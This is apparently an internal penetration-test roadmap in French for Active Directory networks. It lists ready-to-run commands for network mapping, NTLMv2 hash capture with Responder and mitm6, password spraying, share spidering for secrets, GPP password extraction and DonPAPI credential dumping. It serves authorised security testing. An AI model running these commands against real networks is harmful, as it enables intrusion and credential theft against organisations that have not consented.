Roadmap TI interne
Outillage
- Images Exegol (AD ou Full pour ne pas prendre de risques)
- Modèle de prise de notes sous Obsidian [Lien]
- Un Pack Office/Libre Office/Only Office pour ne pas être pris de cours quand on voudra ouvrir des documents trouvés dans les partages réseau
Boite noire
Accès au réseau
ifconfig # Consulter l'IP et les caractéristiques réseau
sudo dhclient eth0 -v # Demander l'attribution d'une adresse IP au serveur DHCP
Dans le cas où il n’y a pas de serveur DHCP, l’obtention d’une adresse IP ne se fera pas naturellement, il faut alors s’attribuer une IP fixe :
sudo systemctl stop NetworkManager
sudo ip addr flush eth0
sudo ip addr add $IP_ADDRESS/$MASK dev eth0
Il peut être intéressant également, pour scanner d’autres sous-réseaux, d’ajouter des routes par défaut.
sudo ip route add default dev eth0 via $IP_GATEWAY
Ecoute passive du réseau
- Démarrer un WireShark sur l’interface principale
- Vérifier la présence de protocoles en clair ou protocoles multidiffusion tels que LLMNR, NBT-NS ou MDNS
Cartographie du réseau
Faire un nmap sur les réseaux/sous-réseaux identifiés et bien mettre l’option -oA pour avoir toutes les sorties.
nmap -sC -sV -p- $IP --open -oA ScanNmap
Il est conseillé d’importer les scans dans Metasploit pour s’en resservir par la suite lors d’analyses/exploits sur des services.
msfdb init # Initialiser la base de données de Metasploit
metasploit # Lancer Metasploit
# Dans Metasploit
msf > workspace -a $NOM # Créer un espace de travail pour le projet
msf > workspace $NOM # Rentrer dans l'espace de travail voulu
msf > db_import $XML_FILE # Import du XML généré par Nmap
Dans le cas où le réseau est très étendu, installer et utiliser WebMap
afin d’avoir un joli rendu de l’énorme scan nmap
: [Github]
Protocoles multidiffusion
Lancer un Responder afin de voir quels protocoles multidiffusion sont actifs sur le réseau et garder une trace si des hashs NTLMv2 sont récupérés.
responder -I eth0 -wFv
Les résultats sont stockés dans /usr/share/responder/logs/Responder-Session.log
Si le protocole IPv6 est activé, il est encore plus simple et rapide de recueillir des hashs avec MITM6
:
mitm6 -i eth0 -d $DOMAIN
Sessions nulles et anonymes
Vérifier sur la session nulle est autorisée sur le protocole SMB :
crackmapexec smb $IP_RANGE -u '' -p '' --shares
Mais aussi sur le protocole RPC :
rpcclient -p 135 -U '' -N $IP
Ou encore sur le protocole LDAP :
ldapdomaindump $IP_DC
Etude des applicatifs
HTTP
- Utiliser Aquatone pour avoir une vue rapide de toutes les interfaces et applications web qui tournent sous les ports 80 et 443.
cat $IPS_FILE | aquatone
FTP
- Tester les accès Anonymes avec
Metasploit
msf > use auxiliary/scanner/ftp/anonymous
msf > services -p 21 -R
msf > run
Boite grise
Récupération des informations du domaine
Exporter les objets du domaine pour les intégrer à BloodHound
:
bloodhound-python -d $DOMAIN -u $USER -p $PASSWORD -c ALL -dc $DC_NAME -ns $IP_DNS --dns-tcp --tns-timeout 5
Installer le BloodHound de Lyak, qui intègre les certificats ADCS : [Github] (Pas besoin sous Exegol, car il intègre déjà le bon BloodHound
)
Lancer ensuite BloodHound pour y injecter les fichiers JSON générés et débuter l’analyse du domaine :
sudo neo4j start
bloodhound
Sous Exegol, il y a une petite commande bien sympathique qui remonte toutes les analyses “quickwin” (ACL permissives, chemins de compromissions etc.)
bloodhound-quickwin -u neo4j -p exegol4thewin
Pour obtenir des informations sur le domaine qui ne sont pas sous la forme d’un graphe, deux outils sont disponibles : goddi
et ldapdomaindump
.
goddi -username=$USER -password=$PASS -domain=$DOMAIN -dc=$DC_NAME -unsafe
ldapdomaindump -u $USER -p $PASS -o $OUTPUT_DIR $DC_IP
Exploiter les partages réseau
Lister les partages réseau avec crackmapexec
en prenant soin de filtrer les répertoires avec à minimat l’accès en lecture :
crackmapexec smb $IP_RANGE -u $USER -p $PASS --shares | grep "READ" | grep -v "IPC"
Le module spider_plus
de crackmapexec
permet de récupérer tous les fichiers présents dans les partages et les sauvegarder dans un répertoire /tmp/cme_spider_plus
:
crackmapexec smb $IP_RANGE -u $USER -p $PASS --shares -M spider_plus
Il est alors possible de faire un grep dans ce répertoire sur des termes intéressants :
grep -rnw /tmp/cme_spider_plus/ -e "pass"
grep -rnw /tmp/cme_spider_plus/ -e "password"
grep -rnw /tmp/cme_spider_plus/ -e "secret"
grep -rnw /tmp/cme_spider_plus/ -e "token"
grep -rnw /tmp/cme_spider_plus/ -e "admin"
grep -rnw /tmp/cme_spider_plus/ -e "username"
Attaque par relais NTLM
Si les protocoles multidiffusion sont actifs, il peut être possible de faire du relais NTLM.
Voir la partie consacrée à cette attaque : [Relais NTLM]
Password Spraying
Tout d’abord vérifier la politique de mot de passe :
crackmapexec smb $IP_DC -d $DOMAIN -u $USER -p $PASS --pass-pol
Les sprays devront être adapté à la politique en place et notamment la présence d’un verrouillage de comptes à partir d’un nombre de tentatives erronées.
S’il n’y a pas de verrouillage, il est possible d’utiliser kerbrute
afin d’être plus rapide dans le spray :
kerbrute bruteuser --dc $IP_DC -d $DOMAIN $PASS_LIST $USER_LIST
Si un verrouillage est en place, il faut y aller doucement et de préférence avec crackmapexec
:
crackmapexec smb $IP_DC -u $USER_LIST -p $PASSWORD --continue-on-success
User as Pass
En plus du spray sur des mots de passe devinables, il peut être bon de tester le nom d’utilisateur en tant que mot de passe.
crackmapexec smb $IP_DC -u $USER_LIST -p $USER_LIST --continue-on-success --no-bruteforce
Cela peut également être réalisé avec metasploit
:
use scanner/smb/smb_login
set USER_FILE $USER_FILE
set USER_AS_PASS true
run
Kerberoast
Voir la partie consacrée à cette attaque : [Kerberoast]
AS-Rep roasting
Voir la partie consacrée à cette attaque : [AS-REP roasting]
CVE publiques
ZeroLogon
A tester sur les controleurs de domaine [Github]
Attention : N’utiliser que le checker et pas d’exploit
./zerologon_tester.py $DC_HOSTNAME $DC_IP
BlueKeep
EternalBlue
Print-Nightmare
GPP Password
Les stratégies de groupe sont stockées dans le partage SYSVOL des contrôleurs de domaine. Tous les utilisateurs du domaine y ont accès en lecture. Cela signifie que si un mot de passe est stocké dans ces GPP, il est possible de le retrouver.
Get-GPPPassword.py "$DOMAIN/$USER:$PASS@$DC_IP"
Get-GPPPassword.py "$DOMAIN/$USER@$DC_IP" -hashes $LM_HASH:$NT_HASH
Possible également de le faire avec le module gpp_password
de CrackMapExec, qui va sortir tous les fichiers XML dans lesquels se trouvent des mots de passe.
crackmapexec smb $IP_RANGE -u $USER -p $PASS -M gpp_password
Post Exploitation
Dumper des creds
DonPAPI est un outil qui permet de retrouver des identifiants de connexion (clés DPAPI, mots de passe Wi-Fi, mots de passe en cache dans les navigateurs etc.)
DonPAPI "$DOMAIN/$USER:$PASS@$TARGET"
Exfiltrer la base NTDS
Voir la partie consacrée à cette attaque : [Extraire la base NTDS]